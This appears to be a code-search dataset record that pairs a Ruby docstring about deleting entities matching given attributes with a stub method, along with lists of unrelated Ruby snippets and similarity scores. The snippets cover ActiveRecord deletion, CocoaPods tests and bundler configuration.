"def test_installModulesDependencies_whenNewArchEnabledAndNewArchAndNoSearchPathsNorCompilerFlagsArePresent_itInstallDependencies\n # Arrange\n spec = SpecMock.new\n\n # Act\n NewArchitectureHelper.install_modules_dependencies(spec, true, '2021.07.22.00')\n\n # Assert\n assert_equal(spec.compiler_flags, NewArchitectureHelper.folly_compiler_flags)\n assert_equal(spec.pod_target_xcconfig[\"HEADER_SEARCH_PATHS\"], \"\\\"$(PODS_ROOT)/boost\\\" \\\"$(PODS_ROOT)/Headers/Private/Yoga\\\" \\\"$(PODS_ROOT)/DoubleConversion\\\" \\\"${PODS_CONFIGURATION_BUILD_DIR}/React-graphics/React_graphics.framework/Headers\\\" \\\"${PODS_CONFIGURATION_BUILD_DIR}/React-graphics/React_graphics.framework/Headers/react/renderer/graphics/platform/ios\\\" \\\"${PODS_CONFIGURATION_BUILD_DIR}/React-Fabric/React_Fabric.framework/Headers\\\" \\\"${PODS_CONFIGURATION_BUILD_DIR}/React-Fabric/React_Fabric.framework/Headers/react/renderer/components/view/platform/cxx\\\" \\\"${PODS_CONFIGURATION_BUILD_DIR}/React-FabricImage/React_FabricImage.framework/Headers\\\" \\\"${PODS_CONFIGURATION_BUILD_DIR}/ReactCommon/ReactCommon.framework/Headers\\\" \\\"${PODS_CONFIGURATION_BUILD_DIR}/ReactCommon/ReactCommon.framework/Headers/react/nativemodule/core\\\" \\\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTFabric/RCTFabric.framework/Headers\\\" \\\"${PODS_CONFIGURATION_BUILD_DIR}/React-utils/React_utils.framework/Headers\\\" \\\"${PODS_CONFIGURATION_BUILD_DIR}/React-debug/React_debug.framework/Headers\\\" \\\"${PODS_CONFIGURATION_BUILD_DIR}/React-ImageManager/React_ImageManager.framework/Headers\\\" \\\"$(PODS_CONFIGURATION_BUILD_DIR)/React-rendererdebug/React_rendererdebug.framework/Headers\\\"\")\n assert_equal(spec.pod_target_xcconfig[\"CLANG_CXX_LANGUAGE_STANDARD\"], \"c++17\")\n assert_equal(spec.pod_target_xcconfig[\"OTHER_CPLUSPLUSFLAGS\"], \"$(inherited) -DRCT_NEW_ARCH_ENABLED=1 -DFOLLY_NO_CONFIG -DFOLLY_MOBILE=1 -DFOLLY_USE_LIBCPP=1\")\n assert_equal(\n spec.dependencies,\n [\n { :dependency_name => \"React-Core\" },\n { :dependency_name => \"RCT-Folly\", \"version\"=>\"2021.07.22.00\" },\n { :dependency_name => \"glog\" },\n { :dependency_name => \"React-RCTFabric\" },\n { :dependency_name => \"React-Codegen\" },\n { :dependency_name => \"RCTRequired\" },\n { :dependency_name => \"RCTTypeSafety\" },\n { :dependency_name => \"ReactCommon/turbomodule/bridging\" },\n { :dependency_name => \"ReactCommon/turbomodule/core\" },\n { :dependency_name => \"React-NativeModulesApple\" },\n { :dependency_name => \"Yoga\" },\n { :dependency_name => \"React-Fabric\" },\n { :dependency_name => \"React-graphics\" },\n { :dependency_name => \"React-utils\" },\n { :dependency_name => \"React-debug\" },\n { :dependency_name => \"React-ImageManager\" },\n { :dependency_name => \"React-rendererdebug\" },\n { :dependency_name => \"hermes-engine\" }\n ])\n end",
"def resolve_install_conflicts(graph, is_dependency = false)\n graph.each do |release|\n @environment.modules_by_path[options[:target_dir]].each do |mod|\n if mod.has_metadata?\n metadata = {\n :name => mod.forge_name.gsub('/', '-'),\n :version => mod.version\n }\n next if release[:module] == metadata[:name]\n else\n metadata = nil\n end\n\n if release[:module] =~ /-#{mod.name}$/\n dependency_info = {\n :name => release[:module],\n :version => release[:version][:vstring]\n }\n dependency = is_dependency ? dependency_info : nil\n latest_version = @versions[\"#{@module_name}\"].sort_by { |h| h[:semver] }.last[:vstring]\n\n raise InstallConflictError,\n :requested_module => @module_name,\n :requested_version => @version || \"latest: v#{latest_version}\",\n :dependency => dependency,\n :directory => mod.path,\n :metadata => metadata\n end\n\n resolve_install_conflicts(release[:dependencies], true)\n end\n end\n end",
"def no_circular_reference\n\n end",
"def extra_runtime_dependencies(answer = T.unsafe(nil)); end",
"def spec; end",
"def spec; end",
"def dependencies\n EMPTY_SET\n end",
"def requirement\n @dependency.requirement\n end",
"def external_dependency_checksum\n nil\n end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end"
] | [
"0.6963175",
"0.67176896",
"0.67176896",
"0.67176896",
"0.64337474",
"0.6221749",
"0.62179136",
"0.62102306",
"0.61282843",
"0.61282843",
"0.6089024",
"0.6072091",
"0.5983655",
"0.5983655",
"0.59614426",
"0.59603727",
"0.5899887",
"0.58741355",
"0.5850722",
"0.58308715",
"0.58287627",
"0.57872725",
"0.5771267",
"0.5771267",
"0.57698274",
"0.57698274",
"0.57318395",
"0.5728271",
"0.5727159",
"0.57183933",
"0.5716782",
"0.57085663",
"0.57085663",
"0.56938297",
"0.5688716",
"0.56846213",
"0.5661555",
"0.56605804",
"0.56488955",
"0.5625857",
"0.5607539",
"0.55973184",
"0.5588605",
"0.5562925",
"0.55355245",
"0.55323875",
"0.55189705",
"0.55189705",
"0.5517995",
"0.5514709",
"0.55141574",
"0.55102324",
"0.5491427",
"0.54812443",
"0.54795474",
"0.5476743",
"0.54637957",
"0.5459298",
"0.5459298",
"0.5446302",
"0.5444247",
"0.54334426",
"0.5424909",
"0.54170674",
"0.54120326",
"0.5398587",
"0.53977686",
"0.5389274",
"0.53818786",
"0.53818786",
"0.53815025",
"0.53799725",
"0.5374697",
"0.5370035",
"0.536124",
"0.53493565",
"0.53370434",
"0.53370434",
"0.5329875",
"0.5316552",
"0.531217",
"0.52998704",
"0.5298837",
"0.5290254",
"0.5286653",
"0.5285433",
"0.5285433",
"0.5281511",
"0.5275379",
"0.52641517",
"0.525861",
"0.52585655",
"0.5255227",
"0.5255227",
"0.5247262",
"0.5243537",
"0.52297276",
"0.522699",
"0.522699",
"0.522699",
"0.522699"
] | 0.0 | -1 |
Delete all entities which match all attributes attributes: Hash of attributes to match Returns: Integer count of entities deleted. | def delete_all(attributes = {})
raise NotImplementedError.new
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def delete_all\n self.store.delete_keys(find_keys)\n end",
"def delete_all(conditions = \"\")\n collection.remove(XGen::SQL::Parser.parse_where(conditions, true) || {})\n end",
"def delete(*args)\n if args.blank?\n raise \"Using delete with no args is not allowed. Please use delete_all to delete all records\"\n end\n keys = find_keys(*args)\n self.store.delete_keys(keys)\n end",
"def delete_all\n klass.delete_all(:conditions => selector)\n end",
"def delete( *attributes )\n\t\treturn super if attributes.empty?\n\n\t\tself.log.debug \"Deleting attributes: %p\" % [ attributes ]\n\t\tself.mark_dirty\n\n\t\tattributes.flatten.each do |attribute|\n\n\t\t\t# With a hash, delete each value for each key\n\t\t\tif attribute.is_a?( Hash )\n\t\t\t\tself.delete_specific_values( attribute )\n\n\t\t\t# With an array of attributes to delete, replace\n\t\t\t# MULTIPLE attribute types with an empty array, and SINGLE\n\t\t\t# attribute types with nil\n\t\t\telsif attribute.respond_to?( :to_sym )\n\t\t\t\tattrtype = self.find_attribute_type( attribute.to_sym )\n\t\t\t\tif attrtype.single?\n\t\t\t\t\t@values[ attribute.to_sym ] = nil\n\t\t\t\telse\n\t\t\t\t\t@values[ attribute.to_sym ] = []\n\t\t\t\tend\n\t\t\telse\n\t\t\t\traise ArgumentError,\n\t\t\t\t\t\"can't convert a %p to a Symbol or a Hash\" % [ attribute.class ]\n\t\t\tend\n\t\tend\n\n\t\treturn true\n\tend",
"def delete_all\n neo4j_query(\"MATCH (n:`#{mapped_label_name}`) OPTIONAL MATCH (n)-[r]-() DELETE n,r\")\n end",
"def delete *entities_or_keys\n @commit.delete(*entities_or_keys)\n # Do not delete yet\n true\n end",
"def delete_all\n Neo.db.execute_query(\"#{initial_match} OPTIONAL MATCH (n0)-[r]-() DELETE n0,r\")\n end",
"def delete_records where: {} , **args\n\t\tif args[:all] == true \n\t\t\twhere = {}\n\t\telse\n\t\t\twhere.merge!(args) if where.is_a?(Hash)\n\t\t\treturn 0 if where.empty?\n\t\tend\n orientdb.delete_records( self, where: where ).count\n\tend",
"def delete_all(conditions={}, &block)\n @items.inject([]) do |items, (key, item)|\n items << @items.delete(key) if match_all(item, conditions, &block)\n items\n end\n end",
"def delete_all!\n delete(query: \"*:*\")\n end",
"def destroy_all\n klass.destroy_all(:conditions => selector)\n end",
"def delete_all(filter = Set.new)\n Set.new(identifiers(filter).map { |id| delete(id) })\n end",
"def delete_many(filter = nil, options = nil)\n native.delete_many(filter, options || {}).deleted_count\n end",
"def delete_all\n sum(&:delete_all)\n end",
"def destroy_all(conditions = nil)\n find_all(conditions).each { |object| object.destroy }\n end",
"def erase_all\n entities_to_erase = []\n for entity in Sketchup.active_model.entities\n entities_to_erase.push entity\n end\n\n for entity in entities_to_erase\n if entity.valid?\n entity.erase!\n end\n end\n end",
"def destroy!(execute: true)\n keys = self.class.fields.map { |name| send(name).key }\n related_keys = self.class.relations.map(&method(:collect_relation_keys))\n\n (keys + related_keys).flatten.tap do |key_list|\n command :del, [key_list] if execute && key_list.any?\n end\n end",
"def delete_attributes(ents)\n ents.each { |e|\n e.delete_attribute('MSPhysics') if e.get_attribute('MSPhysics', 'Type', 'Body') == 'Body'\n e.delete_attribute('MSPhysics Body')\n #~ e.delete_attribute('MSPhysics Joint')\n dict = e.attribute_dictionary('MSPhysics Joint')\n if dict\n dict.keys.each { k|\n e.delete_attribute('MSPhysics Joint', k) if k != 'Type'\n }\n end\n e.delete_attribute('MSPhysics Script')\n e.delete_attribute('MSPhysics Buoyancy Plane')\n }\n end",
"def delete_all\n objs = target\n source.update_attribute(source_attribute, nil)\n objs.each(&:delete)\n end",
"def delete_all\n Nvmkv.kv_delete_all(@kv_id)\n end",
"def delete_all_attributes\n model = Sketchup.active_model\n model.definitions.each { |d|\n delete_attributes(d.instances)\n }\n dicts = model.attribute_dictionaries\n if dicts\n dicts.delete('MSPhysics')\n dicts.delete('MSPhysics Sounds')\n dicts.delete('MSPhysics Replay')\n end\n end",
"def destroy_entities entities; end",
"def delete_all\n @reflection.through_reflection.klass.delete_all(@reflection.through_reflection.primary_key_name => @owner.id)\n reload\n end",
"def destroy_all(conditions=nil)\n if conditions\n where(conditions).destroy_all\n else\n to_a.each {|object| object.destroy}\n @records\n end\n end",
"def destroy_duplicate_note_entities\n\t\tentity_ids = note_entities.select(\"entity_id, COUNT(*) AS num\").group(:entity_id).having(\"num > 1\").map(&:entity_id)\n\t\tentity_ids.each do |entity_id|\n\t\t\tnote_entities.where(entity_id: entity_id).destroy_all\n\t\t\tentities << Entity.unscoped.find(entity_id)\n\t\tend\n\tend",
"def delete_entries(entries)\n all(:id => entries.map(&:id)).destroy!\n end",
"def remove_excluded_attributes!(hash)\n hash.each do |attr, val|\n if attr.in?(EXCLUDED_ENTITY_ATTRIBUTES)\n hash.delete(attr)\n elsif val.is_a? Array\n val.each {|v| remove_excluded_attributes!(v) if v.is_a?(Hash) }\n elsif val.is_a? Hash\n remove_excluded_attributes!(val)\n end\n end\n end",
"def delete_all\n delete_if { |b| true }\n end",
"def delete(*names)\n names.each do |name|\n @conditions.delete(name.to_sym)\n mass_conditions.delete(name)\n end\n self\n end",
"def destroy_all\n @products = Product.destroy(params[:ids])\n ProductTracker.destroy_all(:ref.in => @products.map{|p|p.uuid})\n\n respond_to do |format|\n format.json { render json: @products }\n end\n end",
"def delete_all\n records.clear\n end",
"def delete_all\n store.delete(KEY)\n self\n end",
"def DeleteAttributes(args)#(key, domainName, itemName, attributes)\n raise Error::NoSuchDomain.new if @storge.find_domain_by_name(args[:key],args[:domainName]).blank?\n @storge.delete_one_item_attrs(args[:key], args[:domainName], args[:itemName], args[:attributes])\n end",
"def destroy\n prepare_collection_query\n\n @query.where(\"#{@grid.model.arel_table.name}.id in (?)\", params[:ids]).each(&:destroy)\n render :json => { status: \"OK\" }\n end",
"def delete_all(name); end",
"def delete_all\n # delete individual objects one by one, making sure to delete all accessors as well\n returns = {}\n @_componentable_container.each do |key, val|\n delete!(key)\n returns[key] = val\n end\n returns\n end",
"def delete_all(klass)\n raise \"Not implemented\"\n end",
"def delete_all\n self.destroy\n end",
"def delete_all(conditions = nil)\n sql = \"DELETE FROM #{table_name} \"\n add_conditions!(sql, conditions)\n connection.delete(sql, \"#{name} Delete all\")\n end",
"def purge\n\n DataMapper.repository(@dm_repository) {\n\n DmExpression.all.each { |de| de.destroy }\n #\n # TODO : find simpler way to do that\n }\n end",
"def delete\n uniques = {}\n model.uniques.each do |field|\n next unless (value = send(field))\n uniques[field] = value.to_s\n end\n\n script(LUA_DELETE, 0,\n { \"name\" => model.name,\n \"id\" => id,\n \"key\" => key.to_s\n }.to_json,\n uniques.to_json,\n model.tracked.to_json\n )\n\n return self\n end",
"def delete!\n uniq.both_e.uniq.bulk_job { |e| e.delete! }\n uniq.bulk_job { |e| e.delete! }\n end",
"def delete_all\n refresh_index!\n Elasticsearch::Persistence.client.delete_by_query(\n index: alias_name,\n conflicts: :proceed,\n body: { query: { match_all: {} } }\n )\n end",
"def delete_multi_entries(entries, **options)\n entries.count { |key| delete_entry(key, **options) }\n end",
"def delete_specific_revision_attributes(attributes)\n necessary_attributes = PageVersioning::Config[klass + '_revision_specific_attributes']\n attributes.delete_if { |key, value| necessary_attributes.include?(key) }\n attributes\n end",
"def destroy_all\n all.each(&:destroy)\n end",
"def delete_all\n target.clear\n end",
"def delete_entries(entries)\n delete_all(:id => entries)\n end",
"def delete!\n uniq.bulk_job { |e| e.delete! }\n end",
"def delete( *attributes )\n\n\t\t# If no attributes are given, delete the whole entry\n\t\tif attributes.empty?\n\t\t\tself.log.info \"No attributes specified; deleting entire entry for %s\" % [ self.dn ]\n\t\t\tself.directory.delete( self )\n\n\t\t# Otherwise, gather up the LDAP::Mod objects that will delete the given attributes\n\t\telse\n\t\t\tself.log.debug \"Deleting attributes: %p\" % [ attributes ]\n\t\t\tmods = attributes.flatten.collect do |attribute|\n\n\t\t\t\t# Delete particular values of the attribute\n\t\t\t\tif attribute.is_a?( Hash )\n\t\t\t\t\tattribute.collect do |key,vals|\n\t\t\t\t\t\tvals = [ vals ] unless vals.is_a?( Array )\n\t\t\t\t\t\tvals.collect! {|val| self.get_converted_attribute(key, val) }\n\t\t\t\t\t\tLDAP::Mod.new( LDAP::LDAP_MOD_DELETE, key.to_s, vals )\n\t\t\t\t\tend\n\n\t\t\t\t# Delete all values of the attribute\n\t\t\t\telse\n\t\t\t\t\tLDAP::Mod.new( LDAP::LDAP_MOD_DELETE, attribute.to_s, [] )\n\t\t\t\tend\n\n\t\t\tend\n\n\t\t\tself.directory.modify( self, mods.flatten )\n\t\tend\n\n\t\tself.clear_caches\n\n\t\treturn true\n\tend",
"def remove_all_associated_objects(opts, *args)\n raise(Sequel::Error, \"model object #{inspect} does not have a primary key\") if opts.dataset_need_primary_key? && !pk\n send(opts._remove_all_method, *args)\n ret = associations[opts[:name]].each{|o| remove_reciprocal_object(opts, o)} if associations.include?(opts[:name])\n associations[opts[:name]] = []\n ret\n end",
"def _delete_records\n @ids_to_delete.each do |table, ids|\n delete_from_table(table, ids)\n end\n end",
"def delete_entries(entries)\n collection.find(:_id => { '$in' => entries.map(&:id) }).delete_many\n end",
"def purge_associations\n EspRulesList.where(list_type: type, list_id: id).delete_all\n ExportedLead.where(list_type: type, list_id: id).delete_all\n MessageAutoResponse.where(esp_list_type: type, esp_list_id: id).delete_all\n end",
"def batch_delete(conn)\n digests.each_slice(BATCH_SIZE) do |chunk|\n conn.pipelined do |pipeline|\n chunk.each do |digest|\n del_digest(pipeline, digest)\n pipeline.zrem(SidekiqUniqueJobs::DIGESTS, digest)\n pipeline.zrem(SidekiqUniqueJobs::EXPIRING_DIGESTS, digest)\n @count += 1\n end\n end\n end\n\n @count\n end",
"def delete_all\n @objects.each do |o|\n o.delete \n end\n\n @objects.clear\n end",
"def destroy_all\n objs = target\n source.update_attribute(source_attribute, nil)\n objs.each(&:destroy)\n end",
"def delete!\n count = 0\n uniq.bulk_job { |e| count += 1; e.delete! }\n count\n end",
"def delete_orphans\n count = 0\n mapper.dataset.each do |content|\n unless valid_path?(content)\n content.destroy\n count += 1\n end\n end\n @dirty ||= (count > 0)\n count\n end",
"def delete(*records)\n records.each do |record|\n target.delete(record)\n end\n end",
"def destroy\n update_attributes! deleted:true\n end",
"def delete_all(condition=nil)\n if condition\n query(\"DELETE FROM #{SmartSession::SqlSession.table_name} WHERE #{condition}\")\n else\n query(\"DELETE FROM #{SmartSession::SqlSession.table_name}\")\n end\n end",
"def test_delete_all_with_scope\n User.current = users(:user_2)\n Thing.delete_all\n assert_equal 0, Thing.find(:all).size\n\n User.current = users(:user_1)\n assert_equal 2, Thing.find(:all).size\n end",
"def destroy_all\n all.each(&:destroy)\n end",
"def destroy_all\n all.each do |n|\n n.destroy\n end\n end",
"def delete_records(records)\n if sql = @reflection.options[:delete_sql]\n records.each { |record| @owner.connection.delete(interpolate_and_sanitize_sql(sql, record)) }\n else\n\n relation = Arel::Table.new(@reflection.options[:join_table], arel_engine)\n \n relation.where(relation[@reflection.primary_key_name].eq(@owner.id).\n and(relation[@reflection.association_foreign_key].in(records.map { |x| x.id }.compact))\n ).delete\n end\n end",
"def destroy_all\n ids = self.all.map{|item| item.id}\n bulk_update do\n ids.each do |item|\n find_by_id(item).destroy\n end\n end\n # Note collection is not emptied, and next_id is not reset.\n end",
"def delete(*ids)\n collection.remove(to_criteria(:_id => ids.flatten))\n end",
"def destroy_all\n ids = self.all.map{|item| item.id}\n bulk_update do\n ids.each do |item|\n find(item).destroy\n end\n end\n # Note collection is not emptied, and next_id is not reset.\n end",
"def delete_all_targets\n\t\tTarget.delete_all\n\tend",
"def deleteEntityList( gen_id, entity_id)\n params = Hash.new\n params['gen_id'] = gen_id\n params['entity_id'] = entity_id\n return doCurl(\"delete\",\"/entity/list\",params)\n end",
"def delete(table, ids) # abstract\n end",
"def delete_invalid_type_instances\n invalid = mapper.filter(nil).invert\n count = delete(invalid)\n @dirty ||= (count > 0)\n count\n end",
"def delete(*keys)\n multi do\n keys.each do |k|\n @hash.delete(k)\n @index.delete(k)\n end\n end\n nil\n end",
"def delete_all\n solr.delete_by_query('*:*')\n solr.commit\n end",
"def delete_many(db_or_tr, keys, object_class)\n # TODO(pedge): standardized parameter checking\n raise ArgumentError.new unless keys\n keys.each { |key| raise ArgumentError.new unless key && !key.empty? }\n raise ArgumentError.new unless object_class\n\n # TODO(pedge): does this make a copy of keys if keys already has only unique values?\n keys = keys.uniq\n\n object_index_keys = keys.map { |key| object_index_key(object_class, key) }\n object_keys = keys.map { |key| object_key(object_class, key) }\n db_or_tr.transact do |tr|\n delete_many_in_transaction(tr, object_index_keys)\n delete_many_in_transaction(tr, object_keys)\n end\n end",
"def delete_all\n @owner.transaction do\n self.each { |obj| obj.delete }\n end\n @members.clear\n end",
"def delete_all\n\t\t\t@@driver.delete_all\n\t\tend",
"def incomplete_delete\n incomplete.delete_all\n end",
"def destroy\n has_many_columns.each do |col|\n delete_candidates = self.send(col.name)\n\n delete_candidates.each do |candidate|\n candidate.delete if col.destroy == :delete\n candidate.destroy if col.destroy == :destroy\n end\n end\n delete\n end",
"def deleteAll(xs)\n xs.each do |x|\n x.destroy\n end\n end",
"def delete_all(klass)\n sql = \"DELETE FROM #{klass.table}\"\n sql << \" WHERE ogtype='#{klass}'\" if klass.schema_inheritance? and not klass.schema_inheritance_root?\n exec sql\n end",
"def delete_all_indices!\n client = Elasticsearch::Model.client\n ActiveRecord::Base.descendants.each do |model|\n begin\n client.indices.delete(index: model.index_name) if model.__elasticsearch__.index_exists?\n rescue\n end\n end and true\nend",
"def delete_list(params={})\n @obj.delete('delete', @auth.merge(params))\n end",
"def delete_existing\n Answer.delete_all\n Question.delete_all\n Knock.delete_all\n Door.delete_all\n Canvasser.delete_all\nend",
"def deleted_query(records)\n keys = records.\n map { |m| record_key(m.key)[@klass.primary_key] }.\n reject(&:nil?)\n\n @klass.unscoped.where(@klass.primary_key => keys)\n end",
"def remove_all_associated_objects(opts)\n raise(Sequel::Error, 'model object does not have a primary key') unless pk\n send(opts._remove_all_method)\n ret = @associations[opts[:name]].each{|o| remove_reciprocal_object(opts, o)} if @associations.include?(opts[:name])\n @associations[opts[:name]] = []\n ret\n end",
"def question_deleted(question)\r\n QuestionTextIndex.delete_all(['question_id=?',question.id])\r\n QuestionProfileMatch.delete_all(['question_id=?',question.id])\r\n QuestionProfileExcludeMatch.delete_all(['question_id=?',question.id])\r\n end",
"def delete_all\n ActiveRecord::Base.send( :subclasses ).each do |subclass|\n if subclass.table_exists? && subclass.respond_to?(:delete_all)\n subclass.delete_all\n end\n end\n end",
"def destroy_all\n begin\n Location.destroy_all\n Affiliation.destroy_all\n Person.destroy_all\n\n render json: {\n success: 'Deleted all data successfully'\n }\n rescue => e\n render json: {\n error: e\n }\n end\n end",
"def delete_entity(table_name, partition_key, row_key, options = {})\n if_match = \"*\"\n if_match = options[:if_match] if options[:if_match]\n\n call(:delete, entities_uri(table_name, partition_key, row_key, new_query(options)), nil, { \"If-Match\" => if_match }, options)\n nil\n end",
"def clean!\n FAKEABLE.map(&:constantize).map(&:destroy_all)\n end",
"def deleteExtraUnits(allIds)\n dbUnits = Set.new(Unit.map { |unit| unit.id })\n (dbUnits - allIds).each { |id|\n puts \"Deleting extra unit: #{id}\"\n DB.transaction do\n UnitHier.where(unit_id: id).delete\n Unit[id].delete\n end\n }\nend",
"def clear\n @entity_list = {}\n @context_list = {}\n @last_unique_id = 0\n @entity_names = {} # Internal cache of context names for quick key retrieval\n end",
"def delete(attrs = {}, request_opts = {})\n self.new(attrs).delete(request_opts)\n end",
"def delete_duplicated_relationship(entity_sym, relationship_type_desc)\n \n entity = entity_sym.to_s\n \n puts \"---- Deleting duplicated \" + entity + \" relationships: \" + relationship_type_desc\n \n # get an entity _relantionship model\n relationship_model_s = entity.capitalize + \"Relationship\"\n relationship_model = relationship_model_s.constantize\n \n conditions = entity + \"_id IN (SELECT r.\" + entity + \"_id FROM (SELECT \" + entity + \"_id, relationship_type_id, count(*) AS count \" +\n \"FROM \" + entity + \"_relationships WHERE relationship_type_id=(SELECT relationship_type_id FROM relationship_types WHERE \" +\n\t\t\t \" relationship_type_desc='\" + relationship_type_desc +\"') GROUP BY \" + entity + \"_id, relationship_type_id) r WHERE r.count > 1) \" +\n\t\t\t \" AND relationship_type_id=(SELECT relationship_type_id FROM relationship_types WHERE relationship_type_desc='\" + relationship_type_desc +\"')\"\n \n puts conditions\n \n objects = relationship_model.find(:all, :conditions => conditions, :order => entity + '_id, '+ entity + '_relationship_id')\n \n puts \"Objects length:\" + objects.length.to_s\n \n objects_hash = Hash.new\n objects.each do |o|\n \t#puts o.id.to_s + \" -> \" + o.send(entity + \"_id\").to_s\n \tobjects_hash.store(o.id, o.send(entity + \"_id\"))\n end\n \n puts \"---- Objects Hash (with dupes)\"\n puts \"Format: entity _relationship_id: entity _id\"\n puts objects_hash.to_yaml \n \n # by using invert method of Hash class\n # we make values to be keys, hence we get\n # uniq entity _id\n objects_hash_inverted = objects_hash.invert\n #objects_hash = objects_hash_inverted.invert\n \n #puts \"---- Objects Hash (uniq)\" \n #puts objects_hash.to_yaml \n \n puts \"---- Objects Hash Inverted (uniq)\" \n puts objects_hash_inverted.to_yaml \n \n puts \"Objects Hash Inverted (uniq) length:\" + objects_hash_inverted.length.to_s\n \n entities_affected = Array.new\n \n objects_hash_inverted.each_pair {|key, value| \n \t# get entities relationships of which are\n \t# affected for recording purposes\n \tentities_affected.push(key)\n\t\n \t# an entity _relationships record\n\tobject_to_delete = relationship_model.find(value)\n\t\n\t# the associated relationships record\n\trelationship = object_to_delete.relationship\n\t\n\t# delete entity _relationships record\n\tobject_to_delete.destroy\n\t\n\t# delete relationships record\n\trelationship.destroy\n }\n \n puts \"---- Duplicate relationships of type '\" + relationship_type_desc + \"' deleted for the following \" + entity.capitalize + \"s\"\n puts entities_affected.to_yaml\n \nend",
"def deletes(objs)\n if !@args[:datarow]\n objs.each do |obj|\n self.delete(obj)\n end\n else\n tables = {}\n\n begin\n objs.each do |obj|\n next if obj.deleted?\n tablen = obj.table\n\n if !tables.key?(tablen)\n tables[tablen] = []\n end\n\n tables[tablen] << obj.id\n obj.delete if obj.respond_to?(:delete)\n\n #Remove from ID-cache.\n classname = obj.class.classname.to_sym\n @ids_cache[classname].delete(obj.id.to_i) if @ids_cache_should.key?(classname)\n\n #Unset any data on the object, so it seems deleted.\n obj.destroy\n end\n ensure\n #An exception may occur, and we should make sure, that objects that has gotten 'delete' called also are deleted from their tables.\n tables.each do |table, ids|\n ids.each_slice(1000) do |ids_slice|\n @args[:db].delete(table, {:id => ids_slice})\n end\n end\n end\n end\n end",
"def mark_for_destruction(attributes)\n self.class.embeddings.each do |embed|\n if attributes[embed]\n updates = attributes[embed].map { |model| model[:id] }.compact\n destroy = updates.empty? ? send(\"_super_#{embed}\".to_sym).select(:id) : send(\"_super_#{embed}\".to_sym).select(:id).where('id NOT IN (?)', updates)\n destroy.each { |model| attributes[embed] << { :id => model.id, :_destroy => '1' } }\n end\n end\n\n attributes\n end",
"def delete_all_statements!\n delete_statements!({}, false)\n end"
] | [
"0.6635313",
"0.639678",
"0.63617414",
"0.6349998",
"0.61776924",
"0.6144484",
"0.6132015",
"0.60949475",
"0.60592246",
"0.6057224",
"0.6045857",
"0.60256195",
"0.60182184",
"0.59771925",
"0.5975894",
"0.59724146",
"0.5940667",
"0.5931897",
"0.5931067",
"0.5914326",
"0.58403105",
"0.58317274",
"0.5823831",
"0.58191776",
"0.5796885",
"0.5766212",
"0.57631713",
"0.5760813",
"0.5720252",
"0.5704079",
"0.5691746",
"0.56543803",
"0.55988276",
"0.55941343",
"0.5592629",
"0.5584385",
"0.5582878",
"0.55562377",
"0.5555597",
"0.5552038",
"0.5547259",
"0.55258703",
"0.55242693",
"0.55222005",
"0.54970634",
"0.5494387",
"0.54838836",
"0.547417",
"0.5459376",
"0.5455987",
"0.5453951",
"0.54464275",
"0.5441812",
"0.5434308",
"0.5431568",
"0.5422975",
"0.5421723",
"0.54139817",
"0.54107106",
"0.5405478",
"0.54024917",
"0.5400647",
"0.5392795",
"0.53921854",
"0.5390897",
"0.537368",
"0.5369313",
"0.536272",
"0.5360137",
"0.535743",
"0.53509927",
"0.5350767",
"0.5349387",
"0.5349151",
"0.53489304",
"0.53443456",
"0.53426105",
"0.53400177",
"0.5339965",
"0.53379226",
"0.533332",
"0.5332041",
"0.5328935",
"0.531895",
"0.5313577",
"0.5290699",
"0.5290648",
"0.52836776",
"0.52768844",
"0.5273856",
"0.52729404",
"0.5270768",
"0.52552325",
"0.5253611",
"0.5249533",
"0.524609",
"0.5237013",
"0.5236199",
"0.5235322",
"0.5219663"
] | 0.7103051 | 0 |
configure the bundle to be explicit | def bundle(bundle_name, type, *filelist)
raise "Invalid bundle type, must be one of #{VALID_TYPES.inspect}" unless VALID_TYPES.include?(type)
# verify ordered files exist
basedir = type_to_path(type)
filelist.each do|name|
path = File.join(basedir, bundle_name.to_s, name)
path << ".#{type.to_s}" unless path.match(/\.#{type.to_s}$/)
raise "Missing reference to file: #{name} at #{path}" unless File.exist?(path)
# add a reference
@bundles[type] ||= {}
@bundles[type][bundle_name] ||= []
@bundles[type][bundle_name] << {:name => name, :path => path}
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def bundle_install_options\n super + [\"--deployment\"]\n end",
"def bundle()\n puts \"TODO\"\n end",
"def bundle()\n merge(notbundle: 'true')\n end",
"def run_bundle; end",
"def run_bundle ; end",
"def run_bundle ; end",
"def is_bundle=(value)\n @is_bundle = value\n end",
"def set_bundle\n @bundle = Bundle.find(params[:id])\n end",
"def run_bundle\n end",
"def configure; end",
"def default_resource_bundle=(resource_bundle)\n\t\tresource_bundles.update_all( :is_default => false )\n\t\tresource_bundles.detect{ |rb| rb.id == resource_bundle.id}.update_attribute(:is_default, true)\n\tend",
"def configure(conf)\n super\n end",
"def bundle_installer\n @bundle_installer ||= BundleInstaller.new(:library => self) \n end",
"def post_configure\n # noop\n end",
"def configure\n # do nothing\n end",
"def write_bundle_config\n config = <<-CONFIG\n---\nBUNDLE_PATH: rubygems\nBUNDLE_DISABLE_SHARED_GEMS: \"1\"\nBUNDLE_WITHOUT: test\n CONFIG\n dot_bundle = File.join(destination_directory, 'app', '.bundle')\n FileUtils.mkdir_p(dot_bundle)\n File.open(File.join(dot_bundle, 'config'), 'wb') do |config_file|\n config_file.print(config)\n end\n end",
"def initialize_mixlib_config\n super\n end",
"def no_bundler\n @bundler = false\n end",
"def use_bundler(**opts)\n @bundler = opts\n self\n end",
"def use_bundler(**opts)\n @bundler = opts\n self\n end",
"def configure\n end",
"def setup_initial_config!\n application.config do\n attribute :praxis do\n attribute :validate_responses, Attributor::Boolean, default: false\n attribute :validate_response_bodies, Attributor::Boolean, default: false\n\n attribute :show_exceptions, Attributor::Boolean, default: false\n attribute :x_cascade, Attributor::Boolean, default: true\n end\n end\n end",
"def config=(_arg0); end",
"def config=(_arg0); end",
"def config=(_arg0); end",
"def config=(_arg0); end",
"def config=(_arg0); end",
"def confine\n @confined = true\n end",
"def default_configuration=(_arg0); end",
"def set_product_bundle\n @product_bundle = ProductBundle.find(params[:id])\n end",
"def bundle(name)\n RubyAem::Resources::Bundle.new(@client, name)\n end",
"def default_adapter_options=(_arg0); end",
"def default_adapter_options=(_arg0); end",
"def before_setup(ant)\n end",
